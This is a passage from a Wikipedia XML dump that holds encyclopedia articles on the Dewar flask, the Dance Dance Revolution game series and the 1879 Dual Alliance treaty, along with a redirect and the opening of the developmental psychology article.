A '''Dewar flask''' is a vessel designed to provide very good [[thermal insulation]]. For instance, when filled with a hot liquid, the vessel will not allow the [[heat]] to easily escape, and the liquid will stay hot for far longer than in a typical container.  The Dewar flask was named after its inventor [[Scotland|Scottish]] [[physicist]] Sir [[James Dewar]] ([[1842]]&amp;ndash;[[1923]]).

In form, a Dewar flask is a [[glass]] or metal bottle, with a double-layer construction; in fact, it can be considered to be two thin-walled bottles nested one inside the other, and sealed together at the neck. The narrow space between is evacuated almost entirely of [[Earth's atmosphere|air]]; the near [[vacuum]] prevents [[heat conduction|conduction]] and [[convection]] of heat.

The inner surfaces of the outer bottle, and the outer surface of the inner bottle, have a metallic or similar reflective coating to prevent heat from being transmitted via [[Thermal radiation|radiation]]. Dewar himself used [[silver]] for this purpose. This is so effective that what little heat transport does occur is almost entirely via the neck and stopper; insulating materials such as [[Cork (material)|cork]] are often used for the stopper.

A very common use of the Dewar flask in laboratories is the storage of liquid [[nitrogen]]; in this case, the leakage of heat into the extremely cold interior of the bottle results in a slow &quot;boiling-off&quot; of the liquid (a [[pressure relief valve]] is provided to prevent [[pressure]] from building up). The excellent insulation of the Dewar flask results in a very slow &quot;boil&quot; and thus the nitrogen lasts a long time without the need for expensive [[refrigeration]] equipment.

A &quot;Thermos bottle&quot; ([[trademark]]ed), or [[vacuum flask]] (generic) used to keep [[coffee]] or other beverages hot, is usually based on the design of a Dewar flask; since glass dewar flasks are fragile and somewhat expensive to fabricate, other constructions based on [[plastic]] or insulated metal are also popular.

==See also==
*[[Cryogenics]]
*[[Dewar tube]]

==Patents==
* Burger, R., {{US patent|872795}}, &quot;Double walled vessel with a space for a vacuum between the walls&quot;, December 3, 1907. 

[[Category:Cryogenics]]
[[Category:Scottish inventions]]

[[de:Dewargefäß]]
[[fr:Vase de Dewar]]
[[pl:Naczynie Dewara]]
[[ru:&amp;#1057;&amp;#1086;&amp;#1089;&amp;#1091;&amp;#1076; &amp;#1044;&amp;#1100;&amp;#1102;&amp;#1072;&amp;#1088;&amp;#1072;]]</text>
    </revision>
  </page>
  <page>
    <title>Dance Dance Revolution</title>
    <id>9010</id>
    <revision>
      <id>42151277</id>
      <timestamp>2006-03-04T03:55:19Z</timestamp>
      <contributor>
        <username>Fubar Obfusco</username>
        <id>1200</id>
      </contributor>
      <minor />
      <comment>/* Endorsement for Non-violence */ rm propaganda</comment>
      <text xml:space="preserve">:''This article is about the Dance Dance Revolution series in general. For the specific games in the series that also use the title, see the [[list of Dance Dance Revolution games]].''
{{Infobox Arcade Game |title = Dance Dance Revolution
|image = [[Image:DDR US 1st alt.jpg|225px|DDR arcade machine]]
|developer = [[Konami]]
|publisher = [[Konami]]
|designer = 
|release = [[September]], [[1998]] (JP)&lt;br&gt;[[August 12]], [[1998]] (NA)&lt;br&gt; [[January 13]], [[1999]] (AU)
|genre = [[Music]]
|modes = Multiple one-player and two-player modes
|cabinet = Custom
|arcade system = 
|monitor = Horizontal, [[Raster graphics|Raster]], standard resolution
|input = Two 4-panel [[dance pad]]s, six buttons
|ports = [[Sega Dreamcast|Dreamcast]], [[Game Boy Color]], [[Nintendo GameCube|GameCube]], [[Nintendo 64]], [[PlayStation]], [[PlayStation 2]], [[Microsoft Windows|Windows]], [[Microsoft Xbox|Xbox]] | Infobox Arcade Game/ports | [[Arcade game|Arcade]], [[Sega Dreamcast|Dreamcast]], [[Game Boy Color]], [[Nintendo GameCube|GameCube]], [[Nintendo 64]], [[PlayStation]], [[PlayStation 2]], [[Microsoft Windows|Windows]], [[Microsoft Xbox|Xbox]]
}}
[[Image:DDR(bag).jpg|250px|thumb|right|The main gameplay screen of ''Dance Dance Revolution''.]]
'''''Dance Dance Revolution''''', or '''''DDR''''' (known as ''[[Dancing Stage]]'' in Europe), is a [[music video game]] series produced by [[Konami]]. It was first introduced to [[Japan|Japanese]] [[video arcade]]s in 1998, after being shown at the [[Tokyo Game Show]] earlier that year. Since then, the game has gained significant popularity elsewhere in the [[world]], including large portions of [[North America]] and [[Europe]]. As of 2005, over 90 official versions have been produced, including those for home [[video game console]]s. The ''Dance Dance Revolution'' series is a subset of the larger [[Bemani]] series of music games.

The game is typically played on a [[dance pad]] with four [[arrow]] panels: [[up]], [[down]], [[left]], and [[right]]. These panels are pressed using the player's [[foot|feet]], in response to arrows that appear on the screen in front of the player. The arrows are [[synchronization|synchronized]] to the general [[rhythm]] or [[beat (music)|beat]] of a chosen [[song]], and success is dependent on the player's ability to time his or her steps accordingly.

==Gameplay details==

In ''Dance Dance Revolution'', a player must move his or her feet to a set pattern, stepping in time to the general rhythm or beat of a song. During normal gameplay, arrows scroll upwards from the bottom of the screen and pass over stationary, transparent arrows near the top (referred to as the &quot;guide arrows&quot; or &quot;arrow casting&quot;). When the scrolling arrows overlap the stationary ones, the player must step on the corresponding arrows on the dance platform. Successfully hitting the arrows in time with the music fills the &quot;Dance Gauge&quot;, or [[life bar]], while failure to do so drains it. If the Dance Gauge is fully depleted during gameplay, the player fails the song, usually resulting in a [[game over]]. Otherwise, the player is taken to the Results Screen, which rates the player's performance with a [[letter grade]] and a numerical [[score (video games)|score]], among other statistics. The player may then be given a chance to play again, depending on the settings of the particular machine (the limit is usually 3-5 songs per game).

''DDR'' is often criticized as being rigid and bearing little resemblance to actual [[dance|dancing]]. Many players, in order to better focus on timing and pattern reading, will minimize any extraneous body movement during gameplay. These players are commonly referred to as &quot;technical&quot;, &quot;tech&quot; or &quot;perfect attack&quot; (PA) players. However, there are those who prefer style over accuracy, and may incorporate complex or flashy techniques into their play movements. Some dedicated &quot;freestyle&quot; players will even develop intricate dance routines to perform during a song. Technical players will often practice the most difficult songs for extended periods of time, while freestyle players will choose songs on lower difficulty levels, as to accommodate their desires for easier movement.

===Songs and difficulty levels===
[[Image:DDR US 1st how to play cropped.jpg|thumb|left|250px|How to play screen]]
Music in ''DDR'' comes from two primary sources: songs licensed from, although not limited to, [[Toshiba-EMI]]'s ''[[Dancemania]]'' collections, and music made specifically for the [[Bemani]] series by in-house artists such as [[Naoki Maeda]] and &quot;[[Scotty D]]&quot; (Konami translator [[Scott Dolph]]). Most songs average between one and two minutes long, and may be edited from their original length to accommodate this limit. Exceptions include the three-song or four-song [[medley]]s (better known as &quot;Megamix,&quot; &quot;Nonstop&quot; or &quot;Marathons&quot;, where the music and step patterns from three different songs are mixed together into one stage or played back-to-back.)Megamixes are only found in  ''[[Dance Dance Revolution Solo BASS MIX|DDR Solo Bass]]'' and ''[[Dance Dance Revolution Solo 2000|Solo 2000]]'', and Long Version songs from ''[[Dance Dance Revolution 5thMIX|DDR 5thMIX]]'' (songs at a normal 3:00 length.), double-length &quot;Long Versions&quot;, and, for the home version, the 40-minute-plus &quot;Nonstop Megamixes&quot;. 

Music in ''DDR'' may be fast or slow, and may even change tempo. It is a common mistake to assume that slower songs must be easier; often, the exact opposite is true, as reading fast-scrolling and thus widely spaced arrows is often easier than reading lots of dense, slow-scrolling arrows. 

Excluding full song pauses, [[Dance Dance Revolution Club Mix|be in my paradise]] from [[Dance Dance Revolution Club Mix]] has the slowest scrolling speed of any DDR song, clocking in a constant 63 [[Beats per minute|BPM]]- only slightly slower than the vastly more difficult 65-BPM [[Dance Dance Revolution EXTREME|bag]] from [[Dance Dance Revolution EXTREME]]. [[Dance Dance Revolution EXTREME|Sakura]], also from [[Dance Dance Revolution EXTREME]], reaches a tempo of just around 14 BPM for only one note near the midpoint of the song, but speeds up to 320 BPM moments later. On the other end of the spectrum are the MAX songs, including [[DDRMAX: Dance Dance Revolution 6thMIX|MAX 300]] at 300 BPM, [[DDRMAX2: Dance Dance Revolution 7thMIX|MAXX Unlimited]] at 300 and later 320 BPM, [[Dance Dance Revolution EXTREME|The legend of MAX]] at 333 BPM with a speed-up to 666 in the middle of a freeze, and finally [[Dance Dance Revolution Extreme 2|MAX. (period)]] at 300 BPM for a majority of the song with 20 seconds of 180BPM (a tribute to [[PARANOiA]] with it as the only music) to 600BPM (only quarter notes, 15 seconds) and a sudden slowdown to 150 BPM.

The common misconception of the stated BPM is that the song in question actually contains an integer multiple of the actual BPM. These songs can usually be identified by their BPM scrolling to the slowest BPM then to the highest BPM on the Music Select screen however there are some that will not have this option availble.

Each song has multiple step patterns, rated in difficulty from 1-10. The difficulty is measured in units called &quot;feet&quot;, as the game screen will display a certain number of feet attributed to the song's difficulty before the player chooses it. Naturally, the more &quot;feet&quot;, the more complex the step pattern will be.

The 1-3 foot step patterns are recommended for newer players and 4-8 range from intermediate to, at times, frustratingly difficult (many players have complained about songs being &quot;mislabeled&quot;, that is, given foot ratings that do not properly measure their difficulty.)  Nine foot songs, commonly referred to as &quot;catas&quot; (short for &quot;catastrophic&quot;, the label given to this difficulty of steps on ''3rdMIX'' and ''DDR USA''), generally require high levels of practice of one or more specific ''DDR'' skills. The skills include:
*Stamina - Ability to hit arrows in rapid succession for an extended period of time
*Rhythm - Ability to stay on beat throughout the song
*Alternation - Ability to alternate feet on each step, leading into more complex steps
*Spins - Following a circular pattern around the pad
*Crossovers - In alternating feet per step, the one foot must hit an arrow on the opposite of its original position
*Gallops - A set of 1/4th and 1/16th or 1/4th and 1/12th (or eighth note triplets) notes in rapid succession
*Triplets - One beat divided into 3 equal 1/16th notes.
*Trills - Alternating on two steps that must be hit repeatedly in rapid succession.
*Jackhammers (also called jacks) - Steps on one arrow that must be hit rapidly.

Songs with 10 foot step patterns are considered the most difficult, including runs of up to 10 arrows a second for 10-20 seconds and complicated rhythm patterns. Four songs have earned the distinction as &quot;Flashing 10 Footers&quot;, testing the player even further with complex step patterns (such as a 40 second stream of crossovers at 290BPM). The term &quot;Flashing 10 Footer&quot; borrows from [[Beatmania IIDX]], in which the highest difficulty rating is seven stars, and the most difficult have seven flashing stars.

Most music in DDR has 3 or 4 separate step patterns with increasing difficulty and are called difficulty &quot;modes&quot;.  In 1st-5th Mix, the difficulty modes are known as &quot;Basic,&quot; &quot;Trick&quot; and &quot;Maniac.&quot;  Starting with Dance Dance Revolution 6th Mix: DDRMAX, these modes are called &quot;Light,&quot; &quot;Standard&quot; and &quot;Heavy.&quot;

Certain new music in DDR 7th Mix: DDRMAX 2 is only available in &quot;oni mode&quot; courses (explained later) and have only one set of dance steps.  This music becomes playable in regular game mode for DDR Extreme with the exact same steps and are labeled as &quot;Challenge&quot; steps.

In DDR Extreme, a &quot;Beginner&quot; step set is introduced to all music with &quot;Light,&quot; &quot;Standard&quot; and &quot;Heavy&quot; step modes.  These steps are very easy to step to so that beginning players can learn how to play.  Depending on the music, this can lead to a song with 4-5 different step difficulties.

Many songs include ''Freeze Arrows'' (first introduced in &quot;Dance Dance Revolution 6th Mix: DDRMAX&quot;) which require the foot to remain on the appropriate pad arrow until the scrolling arrow's &quot;tail&quot; has disappeared.  Also, most songs have double arrows, or pairs of arrows that must be pressed at the same time. Sometimes the scrolling arrows will stop completely to match a gap in the music, and resume unexpectedly.  Players may also introduce modifiers, such as distorting the patterns of the steps (shuffle, reverse, right and left) and changing the scroll speed of the arrows (first introduced in &quot;DDRMAX&quot;)

===Other modes===
Several other gameplay modes have appeared throughout the ''DDR'' series. 

Nonstop Mode, introduced in ''[[Dance Dance Revolution 3rdMIX]]'', allows the player to play several songs in a row, with no rest period inbetween. The player chooses a particular Nonstop course to play, each course containing a predetermined order of songs. In ''3rdMIX'', the number of songs played is dependent on operator settings, but the mode later reappeared in ''DDR EXTREME'' with a fixed number of four songs.

''[[DDRMAX: Dance Dance Revolution 6thMIX|DDRMAX]]'' introduced a more challenging variant of Nonstop mode, known as Challenge Mode or &quot;Oni&quot; Mode (referring to &quot;demon&quot; or &quot;hell&quot; in the [[Japanese language]]). In Challenge Mode, a player chooses a predetermined set of songs, similar to Nonstop mode. These courses range from five to ten songs(for the exception of the Oni Course &quot;Ultimate 12&quot; which has 12 of the most hardest songs depending on which mix it is) in arcade versions, and can reach upwards of twenty in home releases. Unlike Nonstop mode, a Dance Gauge is not used to determine whether the player continues to the next song. Instead, a battery divided into three segments is displayed at the top of the screen, with one segment disappearing every time the player scores less than a &quot;Great&quot; judgment, or receives an &quot;N.G.&quot; on a freeze arrow. If one of these errors is made while the battery is empty, the player immediately fails the course. The battery is replenished upon successful completion of each song, although the amount given back is dependent on the unique settings of each course.

Another &quot;Challenge Mode&quot;, unrelated to the &quot;Oni&quot; Challenge Mode, is only featured in certain home releases. Gameplay consists of several &quot;challenges&quot; that may be attempted one at a time. In each challenge, the player must complete a certain song or section of a song while meeting certain conditions, sometimes with various gameplay modifiers applied to the song. For example, some challenges may require the player to not hit Up and Down arrows, play one set of steps with the wrong song playing, or play with the music reduced to half speed. Challenges are grouped into several sets within each game, depending on their difficulty. This mode was renamed &quot;Mission Mode&quot; in later console releases in Japan, and &quot;Dance Master&quot; mode in the US.

Endless Mode is also exclusive to home versions, and similar to Nonstop Mode, allows the player to play through numerous songs one after another. However, Endless Mode continues to queue up songs indefinitely, until the player quits or the Dance Gauge is depleted. The song order is random, but options are available to limit the songs to a certain difficulty or category. The player may also choose to have a break stage appear after a certain number of completed songs. After Konami was forced to cease their arcade operations, all later DDR releases had the Endless Mode added by default into all mixes. 

Event Mode is another exclusive to home versions where there is no set number of stages.  After a person completes or fails a song, the game goes back to the song selection screen.  (Standard game mode in all the [[Xbox]] versions of the DDR games is set to Event Mode)

==Game versions==
''Dance Dance Revolution'' has been released in many forms, in arcades and on various [[video game console]]s. Although the majority of these releases have been limited to Japan, localized versions of the game have been released in [[Europe]], [[North America]], [[Korea]], and other areas of [[Asia]], to varying degrees of success. Japanese versions have also found their way outside the country through importing and [[bootlegging]], especially in North America. According to popular fansite &quot;DDRFreak&quot;, as of September 2005, more than 2100 arcade DDR machines exist in the [[United States]], with over 25% of them located in [[California]].

===Arcade machines===
A standard ''Dance Dance Revolution'' [[video arcade|arcade]] machine consists of two parts, the [[arcade cabinet|cabinet]] and the dance platform. The cabinet has a wide bottom section, which houses large floor speakers and glowing [[neon lamp]]s. Above this sits a narrower section that contains the [[computer display|monitor]], and on top is a lighted marquee graphic, with two small speakers and flashing lights on either side. The wide base of the machine creates horizontal ledges on either side of the monitor, which may be used to mount cardboard displays that ship with the game, or to store player possessions. 

Below the monitor are two sets of buttons, each consisting of two triangular yellow &quot;Select&quot; buttons, pointing left and right, and a middle rectangular green button labeled &quot;Decide&quot;. These buttons are mounted on a raised plate, which forms a small lip between the monitor and the buttons. The &quot;Select&quot; buttons are used to scroll player options or songs, while the &quot;Decide&quot; button confirms a player's choice. On many ''DDR'' machines, players may often use tokens or other personal items to form an organized system of the players' order. &quot;Coin lines&quot;, as they are commonly called, clearly shows the order of prospective players, so as to eliminate confusion. Some machines are even equipped with [[PlayStation]] [[memory card]] slots located below the buttons, to store player scores and to play &quot;edits&quot;, or, a custom-created step pattern for a player's chosen song.

On the floor in front of the cabinet is a raised metal [[dance platform]], divided into two &quot;pads&quot;. Each pad consists of nine 11-inch squares in a 3×3 matrix: four arrow panels for input (up, down, left, right), and five neutral metal squares. There are four pressure-activated sensors underneath each arrow panel, one placed at each edge, along with neon lights underneath the sensor that light up when the sensor detects a player's input. Mounted to the pad behind each player is a metal bar, resembling an upside down &quot;U&quot;, which is commonly used to assist in balance.

''[[Dance Dance Revolution Solo]]'' machines have smaller cabinets, and only one dance pad, which includes &quot;Up-Right&quot; and &quot;Up-Left&quot; arrows, in addition to those previously mentioned. Interestingly enough, there is no metal bracket surrounding the &quot;Up R/L&quot; arrows, which can make stepping difficult for a player not used to the extra arrows. Solo machines generally do not come with a bar, but all have the option for one to be installed at a later time.

The rare ''Dance Dance Revolution Karaoke Mix'' also has one dance pad, as well as a smaller screen, and a microphone to allow the player to dance and sing simultaneously. Similar functionality will be available in the upcoming ''[[Karaoke Revolution Party]]'', being released on the [[PlayStation 2]], [[Nintendo GameCube|GameCube]], and [[Xbox]].

Although some evidence suggested that DDR EXTREME would be the final arcade release in Japan (this has never been officially stated), on [[January 25]], [[2006]], a new arcade release was announced for North America, [[Dance Dance Revolution SuperNOVA]].  A version for Europe, '''Dancing Stage SuperNOVA''', was premiered at the [[Amusement Trade Exhibition International]] in [[Birmingham]], [[England]], the previous day. More recently, [[Dance Dance Revolution SuperNOVA]] made an appearance at this year's AOU (All-Nippon Amusement Machine Operators' Union) show in Japan, making the game the first world-wide arcade release in the series.

===Home releases===
[[Image:Stepmania spin-the-disk.jpg|250px|thumb|right|Screenshot of [[StepMania]], an open-source ''DDR'' simulator for personal computers]]
[[Image:FFR R2 A.jpg|250px|thumb|right|Screenshot of [[Flash Flash Revolution]] R2, the online DDR simulator.]]

''DDR'' has been released on a number of [[video game console]]s, including the [[Nintendo 64]], [[Sega Dreamcast]], [[PlayStation]], [[PlayStation 2]], [[Nintendo GameCube|GameCube]] and [[Xbox]]. Home versions are often used with soft plastic [[dance pad]]s, similar in appearance and function to the [[Nintendo]] [[Power Pad]].  More durable dance pads may be constructed out of materials such as wood, hard plastic, and metal. See [[dance pad]] for more information.

''DDR'' has even reached Nintendo's [[Game Boy Color]], with five versions of ''Dance Dance Revolution GB'' released in Japan; these included a series of 3 DDR GB games, a DDR GB Disney Mix, and a DDR GB Oha Sta! mix.  The games come with a small thumb pad that fits over the Game Boy's controls to simulate the dance pad.

Konami has also produced their own version of ''DDR'' for the PC in North America. It uses the interface of ''[[Dance Dance Revolution 4thMIX|DDR 4thMIX]]'', and contains about 40 songs from ''[[Dance Dance Revolution (1stMIX)|1stMIX]]'' through ''[[DDRMAX: Dance Dance Revolution 6thMIX|6thMIX]]''. It has not been as well received as the console versions.

Critics of ports for home video game consoles tend to gloss over the inferior quality of home pads, given the availability of third-party hardware (see [[dance pad]]). Their main criticism is that despite the increased capacity of DVD storage media, the home ports have much less musical selection than the arcade machines do, and have an unfortunate tendency to &quot;leave off&quot; fan-favorite songs. This is especially true of releases that reach the American market, due mainly to licensing rights.

====DDR North American Home Releases====
{{main|List of Dance Dance Revolution games by date}}
*[[PlayStation|PlayStation game console]]
**''[[Dance Dance Revolution (North America)|Dance Dance Revolution]]'' ([[2001]])
**''[[Dance Dance Revolution Disney MIX]]'' (2001)
**''[[Dance Dance Revolution KONAMIX]]'' ([[2002]])
*[[IBM compatible|Windows PC]]
**''Dance Dance Revolution'' (2002)
*[[PlayStation2|PlayStation2 computer entertainment system]]
**''[[DDRMAX: Dance Dance Revolution]]'' (2002)
**''[[DDRMAX2: Dance Dance Revolution]]'' ([[2003]])
**''[[Dance Dance Revolution EXTREME (North America)|Dance Dance Revolution EXTREME]]'' ([[2004]])
**''[[Dance Dance Revolution EXTREME 2]]'' ([[2005]])
*[[Xbox|Xbox video game system]]
**''[[Dance Dance Revolution ULTRAMIX]]'' (2003)
**''[[Dance Dance Revolution ULTRAMIX 2]]'' (2004)
**''[[Dance Dance Revolution ULTRAMIX 3]]'' (2005)
*[[Nintendo GameCube]]
**''[[Dance Dance Revolution: Mario Mix]]'' (2005)

====DDR JAPAN Home Releases For Playstation 2 Only====
*[[PlayStation2|PlayStation2 computer entertainment system]]
**''[[DDRMAX: Dance Dance Revolution 6thMIX]]'' (2001)
**''[[DDRMAX2: Dance Dance Revolution 7thMIX]]'' ([[2002]])
**''[[Dance Dance Revolution EXTREME]]'' ([[2002]])
**''[[Dance Dance Revolution Party Collection]]'' (2003)
**''[[DDR FESTIVAL: Dance Dance Revolution]]'' ([[2003]])
**''[[Dance Dance Revolution STR!KE]]'' ([[2006]])

===Simulators and clones===

There are several simulators of ''DDR'' available for [[personal computer]]s. These games use their own music and step files, and a variety of both are widely available. The obvious advantage these programs hold is the ability to create a step pattern for any song in a digital audio format (typically an [[MP3]] file). Such programs include ''[[Dance With Intensity]]'' for [[Microsoft Windows]]; ''[[StepMania]]'' for Windows, [[Linux]], [[Mac OS X]] and [[Xbox]]; the [[Macromedia Flash|Flash]]-based ''[[Flash Flash Revolution]]''; and the cross-platform ''[[pydance]]'', which runs in a [[Python programming language|Python]] environment on Windows, Mac OS X, and Linux among others. A particularly novel ''DDR'' simulator called ''[[Text Text Revolution]]'' can be displayed on [[text user interface|text-only]] terminals.

''[[In The Groove (game)|In The Groove]]'' is an arcade dance game based on the aforementioned ''[[StepMania]]'' engine, developed by the young [[Texas]]-based company, [[Roxor Games|RoXor Games]]. ''ITG'' features a number of gameplay mechanics used in ''Dance Dance Revolution'', expanding upon certain concepts to appeal to a certain subset of ''DDR'' fans. In 2005, Konami filed a lawsuit against the company, regarding the possible trademark infringement caused by the company's conversion kit, which allows ''In The Groove'' to be installed on ''Dance Dance Revolution'' arcade cabinets.

==The DDR phenomenon==

Many players would tell you that playing at home is an excellent way to practice, and it saves money in the long run compared to playing in the arcade. However, many would also say that a large part of ''DDR'' is the experience of dancing in public, and becoming part of a local community. Two players can dance together side-by-side in friendship, the better player offering encouragement to the lesser, or in competition. Crowds may gather while the dance is in progress and become involved.  Some players enjoy showing off by looking away from the screen, and dropping to the floor to press arrows with their hands, among other performance techniques.

''DDR'' is a phenomenon around which subcultures of fans and enthusiasts have gathered. Tournaments are held worldwide, with participants usually competing for higher scores or number of Perfects (referred to as &quot;Perfect Attack&quot; tournaments). Less common are &quot;freestyle&quot; tournaments, where players develop actual dance routines to perform while following the steps in the game. 

Many news outlets are beginning to report how playing ''DDR'' can be good [[aerobic exercise]]; some regular players have reported [[weight loss]] of 10-50 pounds (5-20 kg). One player reports that including ''DDR'' in her day-to-day life resulted in a loss of 95 pounds. It is argued however that the cases of significant weight loss have all been stories where a significantly overweight player loses a few pounds, and then becomes motivated to take action to lose weight, including [[dieting]], and regular gym attendance. Although reports of weight loss have not been scientifically measured, a handful of schools use ''DDR'' as a physical education activity, and in [[Norway]], ''DDR'' has even been registered as an official sport.

DDR's usefulness for weight loss is helped in that many home versions of the game have a function to estimate calories burned if given a player's weight.  Also, players can use &quot;workout mode&quot; to make a diary of calories burned playing DDR and any changes in the players weight (the latter must be self-reported.)

===Internet fandom===
Dozens of fan websites have been created in response to ''DDR''&lt;nowiki&gt;'&lt;/nowiki&gt;s popularity. In the United States, one of the most popular is [http://www.ddrfreak.com/ DDR Freak], which was originally formed in 2000 to promote ''DDR'' in the [[San Francisco Bay Area]]. It has since become an international player resource, featuring ''DDR''-related news coverage, codes and &quot;step charts&quot; for the various games, a database of machine locations, [[Internet forum]]s, an [[internet radio]] station and an [[Internet Relay Chat|IRC]] channel. DDR Freak's forums are heavily trafficked, and boast over 55,000 members as of [[July 2005]].

[http://www.aaroninjapan.com Aaron In Japan] is another popular website, and is geared more towards &quot;tech&quot; players. The site's forums tend to discuss specific ''DDR'' issues, such as technique and timing on specific songs or mixes, or [[reverse engineering]] of scoring and grading systems. A large section of the website is dedicated to storing [[photograph]]ic records of &quot;AAA&quot; grades accomplished by ''DDR'' players worldwide. Several sites have also been created where players can track their high scores in an organized fashion. The most popular of these, NNR, is now defunct, but more recent websites such as [http://www.ddrecall.com/ DD:Recall] have filled its place.

An interesting website is the popular [http://www.flashflashrevolution.com Flash Flash Revolution.] Rather than using a dance mat, the player uses the up, down, left and right controls on the keyboard. The game also gives the user the abilty to control how they see the arrows, rather than just the traditional arrows at the top of the screen, they can be viewed from all sides of the field, allowing for an endless array of ways to play.

''DDR'' is also the subject of two [[Webcomics]], [http://10kcommotion.com The 10K Commotion] by Yukon Makoto, and [http://www.event-mode.com Event Mode] by Marcelo Cesar, Matthew Simmons, and Nathan Schaad.

===Use in schools===
At the start of 2006, Konami announced that the ''DDR'' games would be used as part of a fitness program to be phased into [[West Virginia]]'s 756 state schools over the next two years [http://www.mtv.com/news/articles/1521605/20060125/index.jhtml?headlines=true]. The program was conceived by a researcher at [[West Virginia University]]'s Motor Development Center.

== In popular culture==
A Dancing Stage machine (the European counterpart to Dance Dance Revolution) was featured in [[Madonna (entertainer)|Madonna]]'s video [[Hung Up]].



==See also==
* [[List of Dance Dance Revolution games|List of ''Dance Dance Revolution'' games]]
* [[Dancing Stage]] (UK version of ''DDR'')
* [[List of dance games]]
* [[Dance pad]]
* [[Comparison of panel-based music video games]]
* [[Exertainment]]
* [[Flash Flash Revolution]]
* [[Bemani]]

==External links==
*[http://www.konami.co.jp/am/ddr/ Official Konami ''DDR'' arcade website] (in [[Japanese language|Japanese]])
*[http://www.klov.com/game_detail.php?game_id=7489 ''Dance Dance Revolution'' entry] on [[Killer List of Videogames]]
*[http://www.ddr.sh DDRers' Stompin' Ground], a comprehensive resource for features on specific ''DDR'' games (in [[Japanese language|Japanese]])
*[http://www.ddrfreak.com/ DDR Freak], a North American community website
*[http://www.ddrzone.com DDR Zone], getting started with DDR
*[http://www.ddrplace.com DDR Place], Files related to DDR and StepMania
*[http://www.bemanistyle.com Bemanistyle], a news and reference site for music games
*[http://www.ddrmaniax.net DDR ManiaX], a North American community website, also the official forum for the ''[[StepMania]]'' DDR simulator.
*[http://www.ddrforever.hotfire.net DDR Forever], a a DDR forum and Community site
*[http://www.ddruk.com DDR UK], a UK community for players of DDR.
*[http://www.BemaniOnline.com Bemani Online], a community of Bemani Fans located in and around the East Coast.
*[http://www.ddrextreme.co.uk DDRExtreme.co.uk], a UK based site for players of DDR and ''[[StepMania]]''
*[http://www.ddrplanet.it DDR Planet], an Italian community for players of DDR.  
*[http://www.tygerstyle.net Tygerstyle.net], a mainly Florida community for players of DDR with videos and forum.
*[http://www.ddrmaniax.net DDRManiaX.net], a website for DDR  and ''[[StepMania]]'' players, with a forum and [[Bit Torrent]]-format stepfiles.
*[http://www.mg-addict.be Musical Games Addict], a Belgian community for DDR players.  
*[http://www.ddrei.com DDR East Invasion], an Eastern US based DDR site for locations, events and information.  
[[http://www.mediafamily.org/press/20051129.shtml]]
{{Dance Dance Revolution games}}

[[Category:Arcade games]]
[[Category:Konami games]]
[[Category:Dance video games]]
[[Category:Dance Dance Revolution series]]
[[Category:Computer and video game franchises]]
[[Category:Fads]]

[[de:Dance Dance Revolution]]
[[es:Dance Dance Revolution]]
[[fr:Dance Dance Revolution]]
[[nl:Dance Dance Revolution]]
[[ja:ダンスダンスレボリューション]]
[[nn:Maskindans]]
[[pl:Dance Dance Revolution]]
[[pt:Dance Dance Revolution]]
[[fi:Dance Dance Revolution]]
[[sv:Dance Dance Revolution]]</text>
    </revision>
  </page>
  <page>
    <title>Dual Alliance, 1879</title>
    <id>9011</id>
    <revision>
      <id>28979615</id>
      <timestamp>2005-11-22T13:15:25Z</timestamp>
      <contributor>
        <username>Wiki alf</username>
        <id>303874</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/198.165.58.254|198.165.58.254]] to last version by YurikBot</comment>
      <text xml:space="preserve">The '''Dual Alliance''' between [[Germany]] and [[Austria-Hungary]] was created by treaty on [[October 7]], [[1879]]. In it, Germany and Austria-Hungary pledged to aid one another in case of an attack by [[Russia]]. Also, each state promised benevolent neutrality to the other if one of them was attacked by another European power (generally taken to be [[France]], especially after the [[Franco-Russian Alliance]] of [[1894]]). 

After the formation of the [[German Empire]] in [[1871]], German chancellor [[Otto von Bismarck]] wanted to portray his nation as a peacemaker and preserver of the European status quo. In [[1877]], [[Russia]] defeated the [[Ottoman Empire]] in the [[Russo-Turkish War]]; the resulting [[Treaty of San Stefano]] gave Russia much influence in the [[Balkans]]. This development outraged Austria-Hungary, who was Russia's chief competitor for influence in the Balkan region (despite being an ally of the Russians and the Germans in the [[Three Emperors' League]]). Hence, in [[1878]], Bismarck called an international conference (the [[Congress of Berlin]]) in order to sort out the problem. The [[Treaty of Berlin, 1878|Treaty of Berlin]] that resulted from the conference reversed Russia's gains from the Treaty of San Stefano and provided the Austrians with compensation for lost territory. Despite Bismarck's attempts to play the role of an &quot;honest broker&quot; at the Congress of Berlin, Russo-German relations deteriorated following the conference. The Three Emperors' League was discontinued, and Germany and Austria-Hungary were free to ally with one another against Russia.

[[Category:Treaties]]

[[de:Zweibund]]
[[it:Duplice Alleanza]]
[[nl:Tweebond]]
[[sl:Dvozveza (1879)]]</text>
    </revision>
  </page>
  <page>
    <title>Diplomacy game</title>
    <id>9013</id>
    <revision>
      <id>15906941</id>
      <timestamp>2003-01-16T06:45:36Z</timestamp>
      <contributor>
        <username>Vera Cruz</username>
        <id>5753</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Diplomacy (game)]]</text>
    </revision>
  </page>
  <page>
    <title>Developmental psychology</title>
    <id>9014</id>
    <revision>
      <id>41443275</id>
      <timestamp>2006-02-27T09:54:50Z</timestamp>
      <contributor>
        <ip>148.136.141.173</ip>
      </contributor>
      <comment>Added Swedish crosslink ([[User:Ahruman]])</comment>
      <text xml:space="preserve">{{Psychology}}
'''Developmental psychology''' is the [[science|scientific]] study of progressive [[psychology|psychological]] changes that occur in [[human]] beings as they age. Originally concerned with [[infants]] and [[children]], and later other periods of great change such as [[adolescence]] and [[aging]], it now encompasses the entire life span. This field examines change across a broad range of topics including [[motor skills]] and other psycho-physiological processes, [[problem solving]] abilities, conceptual understanding, acquisition of [[language]], [[morality|moral understanding]], and [[identity (social science)|identity]] formation.

Developmental psychologists investigates key questions, such as whether children are qualitatively different from adults or simply lack the experience that adults draw upon. Other issues that they deal with is the question of whether development occurs through the gradual accumulation of knowledge or through shifts from one stage of thinking to another;  or if children are born with innate knowledge or figure things out through experience; and whether development driven by the [[social context]] or by something inside each child.

Developmental psychology informs several applied fields, including: [[educational psychology|educational psychology]], [[child psychopathology]] and [[developmental forensics]].  Developmental psychology complements several other basic research fields in [[psychology]] including [[social psychology]], [[cognitive psychology]], and [[comparative psychology]].

== Theory ==
